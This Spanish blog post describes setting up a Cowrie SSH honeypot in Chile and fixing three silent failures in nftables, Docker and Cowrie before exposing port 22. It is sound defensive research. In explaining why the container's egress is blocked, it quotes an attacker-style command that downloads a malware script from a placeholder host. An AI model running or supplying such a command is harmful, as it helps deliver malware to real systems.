~/posts/honeypot-01-deploy.md

Tres formas de romper un honeypot antes de exponerlo

Esta semana monté un honeypot SSH en un VPS en Santiago de Chile, para responder una pregunta concreta sobre el tráfico de ataque que llega a LATAM.

Si es la primera vez que escuchas el término: un honeypot es un servidor señuelo. Se expone a internet a propósito para que los atacantes intenten entrar, y todo lo que hacen queda registrado. El que usé es Cowrie, que simula un servidor SSH: acepta el login, muestra un shell falso y guarda cada credencial y cada comando que el atacante escribe, sin darle acceso a nada real.

Hoy arrancó la ventana de recolección formal con el puerto 22 (el puerto estándar de SSH) expuesto. Este post es sobre las horas anteriores: nada de lo que falló se manifestó como un error obvio.

Es la primera entrega de una serie. Al cierre de la ventana viene la segunda, con todo lo que se capturó.

La forma del sistema

Así viaja un intento de conexión, desde que un escáner toca el puerto 22 hasta que queda escrito en disco:

  1. internet → :22 firewall del VPS, el 22 abierto a todo el mundo
  2. nftables - DNAT en prerouting se redirige :22 al contenedor. El SSH real de administración vive en otro puerto
  3. nftables - hook forward aquí se decide si el paquete llega al contenedor. Fallo #1
  4. docker - userland-proxy off en mi configuración, sin esto los eventos registran una IP interna en vez de la del atacante
  5. cowrie el shell falso: registra credenciales, comandos y la sesión completa
  6. cowrie.json un evento por línea
  7. egress → DROP el contenedor no puede salir a internet. Trade-off a propósito, abajo lo explico
# flujo de un intento de conexión, desde el escáner hasta el disco

Los fallos

Van en el orden en que los encontré, y ese orden importa: cada uno tapaba al siguiente. Mientras el fallo #1 estaba activo no llegaba ni un paquete al contenedor, así que el #2 era invisible. Y hasta arreglar el #2 no tenía forma de saber que el #3 existía.

1. La cadena forward descartaba las conexiones nuevas

  1. internet :22
  2. nftables forward
  3. docker
  4. cowrie
# el paquete nunca pasa al docker

Este lo encontré revisando, no depurando.

nftables funciona con reglas: cada paquete se compara contra una lista, y si ninguna regla lo acepta, se aplica la política por defecto de la cadena. La mía era drop: descartar en silencio.

El problema: mi cadena forward solo aceptaba conexiones ya establecidas. Las conexiones nuevas hacia el contenedor, es decir, el cebo, no coincidían con ninguna regla de accept:

antes
chain forward {
  type filter hook forward priority filter; policy drop;
  ct state established,related accept
  # ...y nada más
}
conexión nueva → sin regla que la acepte → DROP silencioso
después
chain forward {
  type filter hook forward priority filter; policy drop;
  ct state established,related accept
  iif "eth0" ip daddr 172.20.0.2 tcp dport 2222 ct state new accept
}
conexión nueva hacia el cebo → ACCEPT
# una línea entre un honeypot que recolecta y uno que no

Mi primer arreglo fue ip daddr 172.20.0.0/16 ct state new accept, que funciona pero abre conexiones nuevas hacia cualquier contenedor de esa red y en cualquier puerto. En un proyecto cuyo objetivo es controlar con precisión qué queda expuesto, eso es exactamente lo que no quiero. La versión de arriba fija interfaz de entrada, IP de destino y puerto.

No dio ningún síntoma por dos razones: el puerto 22 todavía no estaba expuesto, así que no había tráfico real que descartar, y mis reglas no llevaban counter explícito, así que tampoco había contadores que delataran el drop. Un drop sin counter no deja rastro de ningún tipo.

Si llego a exponer el puerto sin revisar, habría tenido un honeypot perfectamente sano que no recibía absolutamente nada, y me habría costado días entender por qué.

2. Docker enmascaraba todas las IPs de origen

El peor de los tres, y el que peor entendí al principio.

Docker trae un intermediario en userspace, el userland-proxy. Cuando ese proceso está en la ruta de datos, la conexión que ve el contenedor la abre él, no el atacante: la dirección de origen que registra Cowrie es la del bridge, no la real.

  1. atacante 203.0.113.7
  2. docker userland-proxy
  3. cowrie ve 172.20.0.1
# el proxy reescribe el origen antes de que cowrie lo vea
cowrie.json - antes
{"eventid": "cowrie.session.connect", "src_ip": "172.20.0.1"}

/etc/docker/daemon.json → { "userland-proxy": false }

cowrie.json - después
{"eventid": "cowrie.session.connect", "src_ip": "203.0.113.7"}

El 172.20.0.1 que veía en cada evento es la IP del gateway del bridge, que es justamente desde donde el proxy abre la conexión interna. Coherente hasta el último detalle, y por eso no parecía un error.

El impacto: toda la fase 2 del proyecto consiste en enriquecer las IPs de atacante (de qué país vienen, a qué red pertenecen, si tienen historial de abuso). Con este “bug”, cero IPs reales. Siete días de recolección para producir un dataset sin la única columna que importa.

La solución fue una línea de configuración. Lo encontré solo porque me conecté desde una máquina externa y miré el JSON, en vez de dar por buena la conexión.

3. Login exitoso, sesión cortada, cero comandos

  1. conexión
  2. login ok
  3. credenciales
  4. abrir shell
  5. comandos
# se cortaba justo antes del dato con valor

Cowrie aceptaba la autenticación y registraba las credenciales, pero la sesión moría justo al abrir el shell falso:

FileNotFoundError: var/lib/cowrie/tty/<sesión>.log  (en ttylog_open)

La causa era que faltaba crear dos subdirectorios (tty/ y downloads/) donde Cowrie guarda las grabaciones de sesión. Durante unas dos horas de exposición a internet registré conexiones y credenciales y ningún comando post-login, que es justamente el dato con valor. Esos datos quedaron descartados.

El trade-off: el honeypot no puede salir a internet

El contenedor tiene el tráfico de salida (egress) bloqueado. Esto significa que pierdo las muestras de malware: si un atacante ejecuta wget http://algo/malware.sh para descargar sus herramientas, la descarga falla y no me quedo con el binario.

Es deliberado. Un honeypot con salida libre puede terminar usándose para atacar a terceros: infraestructura de ataque de otro, alojada y pagada por mí. Cowrie igualmente registra la URL que el atacante intentó descargar, y para mi pregunta de investigación eso es suficiente. La muestra la puedo buscar después en otras fuentes.

El sesgo que no puedo arreglar

Y probablemente lo más importante del día. El sensor vive en un datacenter de hosting, no en una casa ni en una oficina. Geográficamente es LATAM, pero para los escáneres eso no da igual: muchos segmentan por tipo de red, y lo que barre rangos de datacenter no es lo mismo que lo que barre conexiones residenciales o corporativas.

O sea: este sensor mide qué le pasa a un VPS alojado en Chile. No mide qué le pasa a la infraestructura chilena. Lo dejé escrito en las limitaciones antes de tener un solo resultado.

Ahora: no tocar nada

La ventana de recolección va del 19 al 26 de julio: siete días sin modificar el sensor. Ya tengo tres mejoras identificadas, y quedan congeladas hasta el día 7.

La razón: si toco el sensor a mitad de ventana, un pico de tráfico el jueves deja de ser interpretable. ¿Cambió internet o cambié yo? Sin línea base estable no hay nada que comparar, y las ganas de “mejorar” durante la recolección son el modo de fallo clásico de este tipo de proyecto.

También quedó elegida la pregunta de investigación: qué proporción del tráfico es ruido automatizado y qué proporción es interacción real post-autenticación.

La primera hora, sin ir más lejos, ya trajo algo que no esperaba: una parte de los bots intenta autenticarse por clave pública, no solo por contraseña. Que un bot pruebe claves públicas al azar contra un host cualquiera es, a primera vista, interesante(?). Tengo una hipótesis de por qué lo hacen.

Eso, y los números reales, en la parte 2 - el 26 de julio.